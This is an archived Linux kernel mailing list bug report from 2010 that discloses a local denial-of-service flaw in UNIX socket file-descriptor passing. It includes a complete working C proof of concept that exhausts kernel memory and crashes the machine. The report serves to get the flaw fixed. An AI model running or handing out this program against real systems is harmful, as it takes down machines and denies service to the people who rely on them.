linux-kernel - Unix socket local DOS (OOM)

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Date:	Tue, 23 Nov 2010 23:21:05 +0100
From:	Vegard Nossum <vegard.nossum@...il.com>
To:	LKML <linux-kernel@...r.kernel.org>
Cc:	Andrew Morton <akpm@...ux-foundation.org>,
	Eugene Teo <eugene@...hat.com>
Subject: Unix socket local DOS (OOM)

Hi,

I found this program lying around on my laptop. It kills my box
(2.6.35) instantly by consuming a lot of memory (allocated by the
kernel, so the process doesn't get killed by the OOM killer). As far
as I can tell, the memory isn't being freed when the program exits
either. Maybe it will eventually get cleaned up the UNIX socket
garbage collector thing, but in that case it doesn't get called
quickly enough to save my machine at least.

#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/wait.h>

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static int send_fd(int unix_fd, int fd)
{
        struct msghdr msgh;
        struct cmsghdr *cmsg;
        char buf[CMSG_SPACE(sizeof(fd))];

        memset(&msgh, 0, sizeof(msgh));

        memset(buf, 0, sizeof(buf));
        msgh.msg_control = buf;
        msgh.msg_controllen = sizeof(buf);

        cmsg = CMSG_FIRSTHDR(&msgh);
        cmsg->cmsg_len = CMSG_LEN(sizeof(fd));
        cmsg->cmsg_level = SOL_SOCKET;
        cmsg->cmsg_type = SCM_RIGHTS;

        msgh.msg_controllen = cmsg->cmsg_len;

        memcpy(CMSG_DATA(cmsg), &fd, sizeof(fd));
        return sendmsg(unix_fd, &msgh, 0);
}

int main(int argc, char *argv[])
{
        while (1) {
                pid_t child;

                child = fork();
                if (child == -1)
                        exit(EXIT_FAILURE);

                if (child == 0) {
                        int fd[2];
                        int i;

                        if (socketpair(PF_UNIX, SOCK_SEQPACKET, 0, fd) == -1)
                                goto out_error;

                        for (i = 0; i < 100; ++i) {
                                if (send_fd(fd[0], fd[0]) == -1)
                                        goto out_error;

                                if (send_fd(fd[1], fd[1]) == -1)
                                        goto out_error;
                        }

                        close(fd[0]);
                        close(fd[1]);
                        goto out;

                out_error:
                        fprintf(stderr, "error: %s\n", strerror(errno));
                out:
                        exit(EXIT_SUCCESS);
                }

                while (1) {
                        pid_t kid;
                        int status;

                        kid = wait(&status);
                        if (kid == -1) {
                                if (errno == ECHILD)
                                        break;
                                if (errno == EINTR)
                                        continue;

                                exit(EXIT_FAILURE);
                        }

                        if (WIFEXITED(status)) {
                                if (WEXITSTATUS(status))
                                        exit(WEXITSTATUS(status));
                                break;
                        }
                }
        }

        return EXIT_SUCCESS;
}


Vegard
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